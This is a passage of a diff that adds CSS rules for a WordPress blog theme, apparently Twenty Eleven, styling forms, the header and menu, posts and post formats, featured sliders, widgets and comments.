1px rgba(0,0,0,0.1); + box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + border: 1px solid #ddd; + color: #888; +} +input[type=text]:focus, +textarea:focus { + color: #373737; +} +textarea { + padding-left: 3px; + width: 98%; +} +input[type=text] { + padding: 3px; +} +input#s { + background: url(images/search.png) no-repeat 5px 6px; + -moz-border-radius: 2px; + border-radius: 2px; + font-size: 14px; + height: 22px; + line-height: 1.2em; + padding: 4px 10px 4px 28px; +} +input#searchsubmit { + display: none; +} + +/* Links */ +a { + color: #1982d1; + text-decoration: none; +} +a:focus, +a:active, +a:hover { + text-decoration: underline; +} + +/* Assistive text */ +.assistive-text { + position: absolute !important; + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); +} +#access a.assistive-text:active, +#access a.assistive-text:focus { + background: #eee; + border-bottom: 1px solid #ddd; + color: #1982d1; + clip: auto !important; + font-size: 12px; + position: absolute; + text-decoration: underline; + top: 0; + left: 7.6%; +} + + +/* =Header +----------------------------------------------- */ + +#branding { + border-top: 2px solid #bbb; + padding-bottom: 10px; + position: relative; + z-index: 9999; +} +#site-title { + margin-right: 270px; + padding: 3.65625em 0 0; +} +#site-title a { + color: #111; + font-size: 30px; + font-weight: bold; + line-height: 36px; + text-decoration: none; +} +#site-title a:hover, +#site-title a:focus, +#site-title a:active { + color: #1982d1; +} +#site-description { + color: #7a7a7a; + font-size: 14px; + margin: 0 270px 3.65625em 0; +} +#branding img { + height: auto; + margin-bottom: -7px; + width: 100%; +} + + +/* =Menu +-------------------------------------------------------------- */ + +#access { + background: #222; /* Show a solid color for older browsers */ + background: -moz-linear-gradient(#252525, #0a0a0a); + background: -o-linear-gradient(#252525, #0a0a0a); + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#252525), to(#0a0a0a)); /* older webkit syntax */ + background: -webkit-linear-gradient(#252525, #0a0a0a); + -webkit-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + -moz-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + clear: both; + display: block; + float: left; + margin: 0 auto 6px; + width: 100%; +} +#access ul { + font-size: 13px; + list-style: none; + margin: 0 0 0 -0.8125em; + padding-left: 0; +} +#access li { + float: left; + position: relative; +} +#access a { + color: #eee; + display: block; + line-height: 3.333em; + padding: 0 1.2125em; + text-decoration: none; +} +#access ul ul { + -moz-box-shadow: 0 3px 3px rgba(0,0,0,0.2); + -webkit-box-shadow: 0 3px 3px rgba(0,0,0,0.2); + box-shadow: 0 3px 3px rgba(0,0,0,0.2); + display: none; + float: left; + margin: 0; + position: absolute; + top: 3.333em; + left: 0; + width: 188px; + z-index: 99999; +} +#access ul ul ul { + left: 100%; + top: 0; +} +#access ul ul a { + background: #f9f9f9; + border-bottom: 1px dotted #ddd; + color: #444; + font-size: 13px; + font-weight: normal; + height: auto; + line-height: 1.4em; + padding: 10px 10px; + width: 168px; +} +#access li:hover > a, +#access ul ul :hover > a, +#access a:focus { + background: #efefef; +} +#access li:hover > a, +#access a:focus { + background: #f9f9f9; /* Show a solid color for older browsers */ + background: -moz-linear-gradient(#f9f9f9, #e5e5e5); + background: -o-linear-gradient(#f9f9f9, #e5e5e5); + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#f9f9f9), to(#e5e5e5)); /* Older webkit syntax */ + background: -webkit-linear-gradient(#f9f9f9, #e5e5e5); + color: #373737; +} +#access ul li:hover > ul { + display: block; +} +#access .current-menu-item > a, +#access .current-menu-ancestor > a, +#access .current_page_item > a, +#access .current_page_ancestor > a { + font-weight: bold; +} + +/* Search Form */ +#branding #searchform { + position: absolute; + top: 3.8em; + right: 7.6%; + text-align: right; +} +#branding #searchform div { + margin: 0; +} +#branding #s { + float: right; + -webkit-transition-duration: 400ms; + -webkit-transition-property: width, background; + -webkit-transition-timing-function: ease; + -moz-transition-duration: 400ms; + -moz-transition-property: width, background; + -moz-transition-timing-function: ease; + -o-transition-duration: 400ms; + -o-transition-property: width, background; + -o-transition-timing-function: ease; + width: 72px; +} +#branding #s:focus { + background-color: #f9f9f9; + width: 196px; +} +#branding #searchsubmit { + display: none; +} +#branding .only-search #searchform { + top: 5px; + z-index: 1; +} +#branding .only-search #s { + background-color: #666; + border-color: #000; + color: #222; +} +#branding .only-search #s, +#branding .only-search #s:focus { + width: 85%; +} +#branding .only-search #s:focus { + background-color: #bbb; +} +#branding .with-image #searchform { + top: auto; + bottom: -27px; + max-width: 195px; +} +#branding .only-search + #access div { + padding-right: 205px; +} + + +/* =Content +----------------------------------------------- */ + +#main { + clear: both; + padding: 1.625em 0 0; +} +.page-title { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + margin: 0 0 2.6em; + text-transform: uppercase; +} +.page-title a { + font-size: 12px; + font-weight: bold; + letter-spacing: 0; + text-transform: none; +} +.hentry, +.no-results { + border-bottom: 1px solid #ddd; + margin: 0 0 1.625em; + padding: 0 0 1.625em; + position: relative; +} +.hentry:last-child, +.no-results { + border-bottom: none; +} +.blog .sticky .entry-header .entry-meta { + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + position: absolute !important; +} +.entry-title, +.entry-header .entry-meta { + padding-right: 76px; +} +.entry-title { + clear: both; + color: #222; + font-size: 26px; + font-weight: bold; + line-height: 1.5em; + padding-bottom: .3em; + padding-top: 15px; +} +.entry-title, +.entry-title a { + color: #222; + text-decoration: none; +} +.entry-title a:hover, +.entry-title a:focus, +.entry-title a:active { + color: #1982d1; +} +.entry-meta { + color: #666; + clear: both; + font-size: 12px; + line-height: 18px; +} +.entry-meta a { + font-weight: bold; +} +.single-author .entry-meta .by-author { + display: none; +} +.entry-content, +.entry-summary { + padding: 1.625em 0 0; +} +.entry-content h1, +.entry-content h2, +.comment-content h1, +.comment-content h2 { + color: #000; + font-weight: bold; + margin: 0 0 .8125em; +} +.entry-content h3, +.comment-content h3 { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.entry-content table, +.comment-content table { + border-bottom: 1px solid #ddd; + margin: 0 0 1.625em; + width: 100%; +} +.entry-content th, +.comment-content th { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.entry-content td, +.comment-content td { + border-top: 1px solid #ddd; + padding: 6px 10px 6px 0; +} +.entry-content #s { + width: 75%; +} +.comment-content ul, +.comment-content ol { + margin-bottom: 1.625em; +} +.comment-content ul ul, +.comment-content ol ol, +.comment-content ul ol, +.comment-content ol ul { + margin-bottom: 0; +} +dl.gallery-item { + margin: 0; +} +.page-link { + clear: both; + display: block; + margin: 0 0 1.625em; +} +.page-link a { + background: #eee; + color: #373737; + margin: 0; + padding: 2px 3px; + text-decoration: none; +} +.page-link a:hover { + background: #888; + color: #fff; + font-weight: bold; +} +.page-link span { + margin-right: 6px; +} +.entry-meta .edit-link a, +.commentlist .edit-link a { + background: #eee; + -moz-border-radius: 3px; + border-radius: 3px; + color: #666; + float: right; + font-size: 12px; + line-height: 1.5em; + font-weight: 300; + text-decoration: none; + padding: 0 8px; +} +.entry-meta .edit-link a:hover, +.commentlist .edit-link a:hover { + background: #888; + color: #fff; +} +.entry-content .edit-link { + clear: both; + display: block; +} + +/* Images */ +.entry-content img, +.comment-content img, +.widget img { + max-width: 97.5%; /* Fluid images for posts, comments, and widgets */ +} +img[class*="align"], +img[class*="wp-image-"], +img[class*="attachment-"] { + height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ +} +img.size-full, +img.size-large { + max-width: 97.5%; + width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */ + height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ +} +.entry-content img.wp-smiley { + border: none; + margin-bottom: 0; + margin-top: 0; + padding: 0; +} +img.alignleft, +img.alignright, +img.aligncenter { + margin-bottom: 1.625em; +} +p img, +.wp-caption { + margin-top: 0.4em; +} +.wp-caption { + background: #eee; + margin-bottom: 1.625em; + max-width: 96%; + padding: 9px; +} +.wp-caption img { + display: block; + margin: 0 auto; + max-width: 98%; +} +.wp-caption .wp-caption-text, +.gallery-caption { + color: #666; + font-family: Georgia, serif; + font-size: 12px; +} +.wp-caption .wp-caption-text { + margin-bottom: 0.6em; + padding: 10px 0 5px 40px; + position: relative; +} +.wp-caption .wp-caption-text:before { + color: #666; + content: '\2014'; + font-size: 14px; + font-style: normal; + font-weight: bold; + margin-right: 5px; + position: absolute; + left: 10px; + top: 7px; +} +#content .gallery { + margin: 0 auto 1.625em; +} +#content .gallery a img { + border: none; +} +img#wpstats { + display: block; + margin: 0 auto 1.625em; +} +#content .gallery-columns-4 .gallery-item { + width: 23%; + padding-right: 2%; +} +#content .gallery-columns-4 .gallery-item img { + width: 100%; + height: auto; +} + +/* Image borders */ +img[class*="align"], +img[class*="wp-image-"], +#content .gallery .gallery-icon img {/* Add fancy borders to all WordPress-added images but not things like badges and icons and the like */ + border: 1px solid #ddd; + padding: 6px; +} +.wp-caption img { + border-color: #eee; +} +a:focus img[class*="align"], +a:hover img[class*="align"], +a:active img[class*="align"], +a:focus img[class*="wp-image-"], +a:hover img[class*="wp-image-"], +a:active img[class*="wp-image-"], +#content .gallery .gallery-icon a:focus img, +#content .gallery .gallery-icon a:hover img, +#content .gallery .gallery-icon a:active img {/* Add some useful style to those fancy borders for linked images ... */ + background: #eee; + border-color: #bbb; +} +.wp-caption a:focus img, +.wp-caption a:active img, +.wp-caption a:hover img {/* ... including captioned images! */ + background: #fff; + border-color: #ddd; +} + +/* Make sure embeds and iframes fit their containers */ +embed, +iframe, +object { + max-width: 100%; +} + +/* Password Protected Posts */ +.post-password-required .entry-header .comments-link { + margin: 1.625em 0 0; +} +.post-password-required input[type=password] { + margin: 0.8125em 0; +} +.post-password-required input[type=password]:focus { + background: #f7f7f7; +} + +/* Author Info */ +#author-info { + font-size: 12px; + overflow: hidden; +} +.singular #author-info { + background: #f9f9f9; + border-top: 1px solid #ddd; + border-bottom: 1px solid #ddd; + margin: 2.2em -35.6% 0 -35.4%; + padding: 20px 35.4%; +} +.archive #author-info { + border-bottom: 1px solid #ddd; + margin: 0 0 2.2em; + padding: 0 0 2.2em; +} +#author-avatar { + float: left; + margin-right: -78px; +} +#author-avatar img { + background: #fff; + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #bbb; + -moz-box-shadow: 0 1px 2px #bbb; + box-shadow: 0 1px 2px #bbb; + padding: 3px; +} +#author-description { + float: left; + margin-left: 108px; +} +#author-description h2 { + color: #000; + font-size: 15px; + font-weight: bold; + margin: 5px 0 10px; +} + +/* Comments link */ +.entry-header .comments-link a { + background: #eee url(images/comment-bubble.png) no-repeat; + color: #666; + font-size: 13px; + font-weight: normal; + line-height: 35px; + overflow: hidden; + padding: 0 0 0; + position: absolute; + top: 1.5em; + right: 0; + text-align: center; + text-decoration: none; + width: 43px; + height: 36px; +} +.entry-header .comments-link a:hover, +.entry-header .comments-link a:focus, +.entry-header .comments-link a:active { + background-color: #1982d1; + color: #fff; + color: rgba(255,255,255,0.8); +} +.entry-header .comments-link .leave-reply { + visibility: hidden; +} + +/* +Post Formats Headings +To hide the headings, display: none the ".entry-header .entry-format" selector, +and remove the padding rules below. +*/ +.entry-header .entry-format { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + position: absolute; + text-transform: uppercase; + top: -5px; +} +.entry-header hgroup .entry-title { + padding-top: 15px; +} +article.format-aside .entry-content, +article.format-link .entry-content, +article.format-status .entry-content { + padding: 20px 0 0; +} +article.format-status .entry-content { + min-height: 65px; +} +.recent-posts .entry-header .entry-format { + display: none; +} +.recent-posts .entry-header hgroup .entry-title { + padding-top: 0; +} + +/* Singular content styles for Posts and Pages */ +.singular .hentry { + border-bottom: none; + padding: 4.875em 0 0; + position: relative; +} +.singular.page .hentry { + padding: 3.5em 0 0; +} +.singular .entry-title { + color: #000; + font-size: 36px; + font-weight: bold; + line-height: 48px; +} +.singular .entry-title, +.singular .entry-header .entry-meta { + padding-right: 0; +} +.singular .entry-header .entry-meta { + position: absolute; + top: 0; + left: 0; +} +blockquote.pull { + font-size: 21px; + font-weight: bold; + line-height: 1.6125em; + margin: 0 0 1.625em; + text-align: center; +} +.singular blockquote.pull { + margin: 0 -22.25% 1.625em; +} +.pull.alignleft { + margin: 0 1.625em 0 0; + text-align: right; + width: 33%; +} +.singular .pull.alignleft { + margin: 0 1.625em 0 -22.25%; +} +.pull.alignright { + margin: 0 0 0 1.625em; + text-align: left; + width: 33%; +} +.singular .pull.alignright { + margin: 0 -22.25% 0 1.625em; +} +.singular blockquote.pull.alignleft, +.singular blockquote.pull.alignright { + width: 33%; +} +.singular .entry-meta .edit-link a { + bottom: auto; + left: 50px; + position: absolute; + right: auto; + top: 80px; +} + + +/* =Aside +----------------------------------------------- */ + +.format-aside .entry-title, +.format-aside .entry-header .comments-link { + display: none; +} +.singular .format-aside .entry-title { + display: block; +} +.format-aside .entry-content { + padding: 0; +} +.singular .format-aside .entry-content { + padding: 1.625em 0 0; +} + + +/* =Link +----------------------------------------------- */ + +.format-link .entry-title, +.format-link .entry-header .comments-link { + display: none; +} +.singular .format-link .entry-title { + display: block; +} +.format-link .entry-content { + padding: 0; +} +.singular .format-link .entry-content { + padding: 1.625em 0 0; +} + + +/* =Gallery +----------------------------------------------- */ + +.format-gallery .gallery-thumb { + float: left; + display: block; + margin: .375em 1.625em 0 0; +} + + +/* =Status +----------------------------------------------- */ + +.format-status .entry-title, +.format-status .entry-header .comments-link { + display: none; +} +.singular .format-status .entry-title { + display: block; +} +.format-status .entry-content { + padding: 0; +} +.singular .format-status .entry-content { + padding: 1.625em 0 0; +} +.format-status img.avatar { + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #ccc; + -moz-box-shadow: 0 1px 2px #ccc; + box-shadow: 0 1px 2px #ccc; + float: left; + margin: 4px 10px 2px 0; + padding: 0; +} + + +/* =Quote +----------------------------------------------- */ + +.format-quote blockquote { + color: #555; + font-size: 17px; + margin: 0; +} + + +/* =Image +----------------------------------------------- */ + +.indexed.format-image .entry-header { + min-height: 61px; /* Prevent the comment icon from colliding with the image when there is no title */ +} +.indexed.format-image .entry-content { + padding-top: 0.5em; +} +.indexed.format-image p, +.indexed.format-image p img { + margin-bottom: 0; +} +.indexed.format-image footer.entry-meta { + background: #ddd; + margin-top: -7px; + padding: 20px 30px; + overflow: hidden; +} +.indexed.format-image div.entry-meta { + display: inline-block; + float: left; + width: 35%; +} +.indexed.format-image div.entry-meta + div.entry-meta { + float: none; + width: 65%; +} +.indexed.format-image .entry-meta span.cat-links, +.indexed.format-image .entry-meta span.tag-links, +.indexed.format-image .entry-meta span.comments-link { + display: block; +} +.indexed.format-image footer.entry-meta a { + color: #444; +} +.indexed.format-image footer.entry-meta a:hover { + color: #fff; +} +#content .indexed.format-image img { + border: none; + max-width: 100%; + padding: 0; +} +.indexed.format-image .wp-caption { + background: #111; + margin-bottom: 0; + max-width: 96%; + padding: 11px; +} +.indexed.format-image .wp-caption .wp-caption-text { + color: #ddd; +} +.indexed.format-image .wp-caption .wp-caption-text:before { + color: #444; +} +.indexed.format-image a:hover img { + opacity: 0.8; +} + + +/* =error404 +----------------------------------------------- */ + +.error404 #main #searchform { + background: #f9f9f9; + border: 1px solid #ddd; + border-width: 1px 0; + margin: 0 -8.9% 1.625em; + overflow: hidden; + padding: 1.625em 8.9%; +} +.error404 #main #s { + width: 95%; +} +.error404 #main .widget { + clear: none; + float: left; + margin-right: 3.7%; + width: 30.85%; +} +.error404 #main .widget_archive { + margin-right: 0; +} +.error404 #main .widget_tag_cloud { + float: none; + margin-right: 0; + width: 100%; +} +.error404 .widgettitle { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} + + +/* =Showcase +----------------------------------------------- */ + +h1.showcase-heading { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} + +/* Intro */ +article.intro { + background: #f9f9f9; + border-bottom: none; + margin: -1.855em -8.9% 1.625em; + padding: 0 8.9%; +} +article.intro .entry-title { + display: none; +} +article.intro .entry-content { + color: #111; + font-size: 16px; + padding: 1.625em 0 0.625em; +} +article.intro .edit-link a { + background: #aaa; + -moz-border-radius: 3px; + border-radius: 3px; + color: #fff; + font-size: 12px; + padding: 0 8px; + position: absolute; + top: 30px; + right: 20px; + text-decoration: none; +} +article.intro .edit-link a:hover, +article.intro .edit-link a:focus, +article.intro .edit-link a:active { + background: #777; +} + +/* Featured post */ +section.featured-post { + float: left; + margin: -1.625em -8.9% 1.625em; + padding: 1.625em 8.9% 0; + position: relative; + width: 100%; +} +section.featured-post .hentry { + border: none; + color: #666; + margin: 0; +} +section.featured-post .entry-meta { + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + position: absolute !important; +} + +/* Small featured post */ +section.featured-post .attachment-small-feature { + float: right; + height: auto; + margin: 0 -8.9% 1.625em 0; + max-width: 59%; + position: relative; + right: -15px; +} +section.featured-post.small { + padding-top: 0; +} +section.featured-post .attachment-small-feature:hover, +section.featured-post .attachment-small-feature:focus, +section.featured-post .attachment-small-feature:active { + opacity: .8; +} +article.feature-image.small { + float: left; + margin: 0 0 1.625em; + width: 45%; +} +article.feature-image.small .entry-title { + line-height: 1.2em; +} +article.feature-image.small .entry-summary { + color: #555; + font-size: 13px; +} +article.feature-image.small .entry-summary p a { + background: #222; + color: #eee; + display: block; + left: -23.8%; + padding: 9px 26px 9px 85px; + position: relative; + text-decoration: none; + top: 20px; + width: 180px; + z-index: 1; +} +article.feature-image.small .entry-summary p a:hover { + background: #1982d1; + color: #eee; + color: rgba(255,255,255,0.8); +} + +/* Large featured post */ +section.feature-image.large { + border: none; + max-height: 288px; + padding: 0; + width: 100%; +} +section.feature-image.large .showcase-heading { + display: none; +} +section.feature-image.large .hentry { + border-bottom: none; + left: 9%; + margin: 1.625em 9% 0 0; + position: absolute; + top: 0; +} +article.feature-image.large .entry-title a { + background: #222; + background: rgba(0,0,0,0.8); + -moz-border-radius: 3px; + border-radius: 3px; + color: #fff; + display: inline-block; + font-weight: 300; + padding: .2em 20px; +} +section.feature-image.large:hover .entry-title a, +section.feature-image.large .entry-title:hover a { + background: #eee; + background: rgba(255,255,255,0.8); + color: #222; +} +article.feature-image.large .entry-summary { + display: none; +} +section.feature-image.large img { + display: block; + height: auto; + max-width: 117.9%; + padding: 0 0 6px; +} + +/* Featured Slider */ +.featured-posts { + border-bottom: 1px solid #ddd; + display: block; + height: 328px; + margin: 1.625em -8.9% 20px; + max-width: 1000px; + padding: 0; + position: relative; + overflow: hidden; +} +.featured-posts .showcase-heading { + padding-left: 8.9%; +} +.featured-posts section.featured-post { + background: #fff; + height: 288px; + left: 0; + margin: 0; + position: absolute; + top: 30px; + width: auto; +} +.featured-posts section.featured-post.large { + max-width: 100%; + overflow: hidden; +} +.featured-posts section.featured-post { + -webkit-transition-duration: 200ms; + -webkit-transition-property: opacity, visibility; + -webkit-transition-timing-function: ease; + -moz-transition-duration: 200ms; + -moz-transition-property: opacity, visibility; + -moz-transition-timing-function: ease; +} +.featured-posts section.featured-post { + opacity: 0; + visibility: hidden; +} +.featured-posts #featured-post-1 { + opacity: 1; + visibility: visible; +} +.featured-post .feature-text:after, +.featured-post .feature-image.small:after { + content: ' '; + background: -moz-linear-gradient(top, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 100%); /* FF3.6+ */ + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,0)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */ + background: -webkit-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */ + background: -o-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Opera11.10+ */ + background: -ms-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* IE10+ */ + filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=0 ); /* IE6-9 */ + background: linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* W3C */ + width: 100%; + height: 45px; + position: absolute; + top: 230px; +} +.featured-post .feature-image.small:after { + top: 253px; +} +#content .feature-slider { + top: 5px; + right: 8.9%; + overflow: visible; + position: absolute; +} +.feature-slider ul { + list-style-type: none; + margin: 0; +} +.feature-slider li { + float: left; + margin: 0 6px; +} +.feature-slider a { + background: #3c3c3c; + background: rgba(60,60,60,0.9); + -moz-border-radius: 12px; + border-radius: 12px; + -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + display: block; + width: 14px; + height: 14px; +} +.feature-slider a.active { + background: #1982d1; + -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + cursor: default; + opacity: 0.5; +} + +/* Recent Posts */ +section.recent-posts { + padding: 0 0 1.625em; +} +section.recent-posts .hentry { + border: none; + margin: 0; +} +section.recent-posts .other-recent-posts { + border-bottom: 1px solid #ddd; + list-style: none; + margin: 0; +} +section.recent-posts .other-recent-posts li { + padding: 0.3125em 0; + position: relative; +} +section.recent-posts .other-recent-posts .entry-title { + border-top: 1px solid #ddd; + font-size: 17px; +} +section.recent-posts .other-recent-posts a[rel="bookmark"] { + color: #373737; + float: left; + max-width: 84%; +} +section.recent-posts .other-recent-posts a[rel="bookmark"]:after { + content: '-'; + color: transparent; + font-size: 11px; +} +section.recent-posts .other-recent-posts a[rel="bookmark"]:hover { +} +section.recent-posts .other-recent-posts .comments-link a, +section.recent-posts .other-recent-posts .comments-link > span { + border-bottom: 2px solid #999; + bottom: -2px; + color: #444; + display: block; + font-size: 10px; + font-weight: 500; + line-height: 2.76333em; + padding: 0.3125em 0 0.3125em 1em; + position: absolute; + right: 0; + text-align: right; + text-transform: uppercase; + z-index: 1; +} +section.recent-posts .other-recent-posts .comments-link > span { + border-color: #bbb; + color: #888; +} +section.recent-posts .other-recent-posts .comments-link a:hover { + color: #1982d1; + border-color: #1982d1; +} +section.recent-posts .other-recent-posts li:after { + clear: both; + content: '.'; + display: block; + height: 0; + visibility: hidden; +} + + +/* =Attachments +----------------------------------------------- */ + +.image-attachment div.attachment { + background: #f9f9f9; + border: 1px solid #ddd; + border-width: 1px 0; + margin: 0 -8.9% 1.625em; + overflow: hidden; + padding: 1.625em 1.625em 0; + text-align: center; +} +.image-attachment div.attachment img { + display: block; + height: auto; + margin: 0 auto 1.625em; + max-width: 100%; +} +.image-attachment div.attachment a img { + border-color: #f9f9f9; +} +.image-attachment div.attachment a:focus img, +.image-attachment div.attachment a:hover img, +.image-attachment div.attachment a:active img { + border-color: #ddd; + background: #fff; +} +.image-attachment .entry-caption p { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + margin: 0 0 2.6em; + text-transform: uppercase; +} + + +/* =Navigation +-------------------------------------------------------------- */ + +#content nav { + clear: both; + overflow: hidden; + padding: 0 0 1.625em; +} +#content nav a { + font-size: 12px; + font-weight: bold; + line-height: 2.2em; +} +#nav-above { + padding: 0 0 1.625em; +} +#nav-above { + display: none; +} +.paged #nav-above { + display: block; +} +.nav-previous { + float: left; + width: 50%; +} +.nav-next { + float: right; + text-align: right; + width: 50%; +} +#content nav .meta-nav { + font-weight: normal; +} + +/* Singular navigation */ +#nav-single { + float: right; + position: relative; + top: -0.3em; + text-align: right; + z-index: 1; +} +#nav-single .nav-previous, +#nav-single .nav-next { + float: none; + width: auto; +} +#nav-single .nav-next { + padding-left: .5em; +} + + +/* =Widgets +----------------------------------------------- */ + +.widget-area { + font-size: 12px; +} +.widget { + clear: both; + margin: 0 0 2.2em; +} +.widget-title { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.widget ul { + font-size: 15px; + margin: 0; +} +.widget ul ul { + margin-left: 1.5em; +} +.widget ul li { + color: #777; + font-size: 13px; +} +.widget a { + font-weight: bold; + text-decoration: none; +} +.widget a:hover, +.widget a:focus, +.widget a:active { + text-decoration: underline; +} + +/* Search Widget */ +.widget_search form { + margin: 0 0 1.625em; +} +.widget_search #s { + width: 77%; +} +.widget_search #searchsubmit { + background: #ddd; + border: 1px solid #ccc; + -webkit-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + -moz-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + color: #888; + font-size: 13px; + line-height: 25px; + position: relative; + top: -2px; +} +.widget_search #searchsubmit:active { + background: #1982d1; + border-color: #0861a5; + -webkit-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + color: #bfddf3; +} + +/* Ephemera Widget */ +section.ephemera ol, +.widget_twentyeleven_ephemera ol { + list-style: square; + margin: 5px 0 0; +} +.widget_twentyeleven_ephemera .widget-entry-title { + font-size: 15px; + font-weight: bold; + padding: 0; +} +.widget_twentyeleven_ephemera .comments-link a, +.widget_twentyeleven_ephemera .comments-link > span { + color: #666; + display: block; + font-size: 10px; + font-weight: 500; + line-height: 2.76333em; + text-transform: uppercase; +} +section.ephemera .entry-title .comments-link a:hover, +.widget_twentyeleven_ephemera .entry-title .comments-link a:hover { +} +section.ephemera .entry-title a span { + color: #29628d; +} + +/* Twitter */ +.widget_twitter li { + list-style-type: none; + margin-bottom: 14px; +} +.widget_twitter .timesince { + display: block; + font-size: 11px; + margin-right: -10px; + text-align: right; +} + +/* Widget Image */ +.widget_image img { + height: auto; + max-width: 100%; +} + +/* Calendar Widget */ + +.widget_calendar #wp-calendar { + color: #555; + width: 95%; + text-align: center; +} +.widget_calendar #wp-calendar caption, +.widget_calendar #wp-calendar td, +.widget_calendar #wp-calendar th { + text-align: center; +} +.widget_calendar #wp-calendar caption { + font-size: 11px; + font-weight: 500; + padding: 5px 0 3px 0; + text-transform: uppercase; +} +.widget_calendar #wp-calendar th { + background: #f4f4f4; + border-top: 1px solid #ccc; + border-bottom: 1px solid #ccc; + font-weight: bold; +} +.widget_calendar #wp-calendar tfoot td { + background: #f4f4f4; + border-top: 1px solid #ccc; + border-bottom: 1px solid #ccc; +} + + +/* =Comments +----------------------------------------------- */ + +#comments-title { + color: #666; + font-size: 10px; + font-weight: 500; + line-height: 2.6em; + padding: 0 0 2.6em; + text-transform: uppercase; +} +.nopassword, +.nocomments { + color: #aaa; + font-size: 24px; + font-weight: 100; + margin: 26px 0; + text-align: center; +} +.commentlist { + list-style: none; + margin: 0 auto; + width: 68.9%; +} +.content .commentlist, +.page-template-sidebar-page-php .commentlist { + width: 100%; /* reset the width for the one-column and sidebar page layout */ +} +.commentlist > li.comment { + background: #f6f6f6; + border: 1px solid #ddd; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 0 0 1.625em; + padding: 1.625em; + position: relative; +} +.commentlist .pingback { + margin: 0 0 1.625em; + padding: 0 1.625em; +} +.commentlist .children { + list-style: none; + margin: 0; +} +.commentlist .children li.comment { + background: #fff; + border-left: 1px solid #ddd; + -moz-border-radius: 0 3px 3px 0; + border-radius: 0 3px 3px 0; + margin: 1.625em 0 0; + padding: 1.625em; + position: relative; +} +.commentlist .children li.comment .fn { + display: block; +} +.comment-meta .fn { + font-style: normal; +} +.comment-meta { + color: #666; + font-size: 12px; + line-height: 2.2em; +} +.commentlist .children li.comment .comment-meta { + line-height: 1.625em; + margin-left: 50px; +} +.commentlist .children li.comment .comment-content { + margin: 1.625em 0 0; +} +.comment-meta a { + font-weight: bold; +} +.comment-meta a:focus, +.comment-meta a:active, +.comment-meta a:hover { +} +.commentlist .avatar { + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #ccc; + -moz-box-shadow: 0 1px 2px #ccc; + box-shadow: 0 1px 2px #ccc; + left: -102px; + padding: 0; + position: absolute; + top: 0; +} +.commentlist > li:before { + content: url(images/comment-arrow.png); + left: -21px; + position: absolute; +} +.commentlist > li.pingback:before { + content: ''; +} +.commentlist .children .avatar { + background: none; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + left: 2.2em; + padding: 0; + top: 2.2em; +} +a.comment-reply-link { + background: #eee; + -moz-border-radius: 3px; + border-radius: 3px; + color: #666; + display: inline-block; + font-size: 12px; + padding: 0 8px; + text-decoration: none; +} +a.comment-reply-link:hover, +a.comment-reply-link:focus, +a.comment-reply-link:active { + background: #888; + color: #fff; +} +a.comment-reply-link > span { + display: inline-block; + position: relative; + top: -1px; +} + +/* Post author highlighting */ +.commentlist > li.bypostauthor { + background: #ddd; + border-color: #d3d3d3; +} +.commentlist 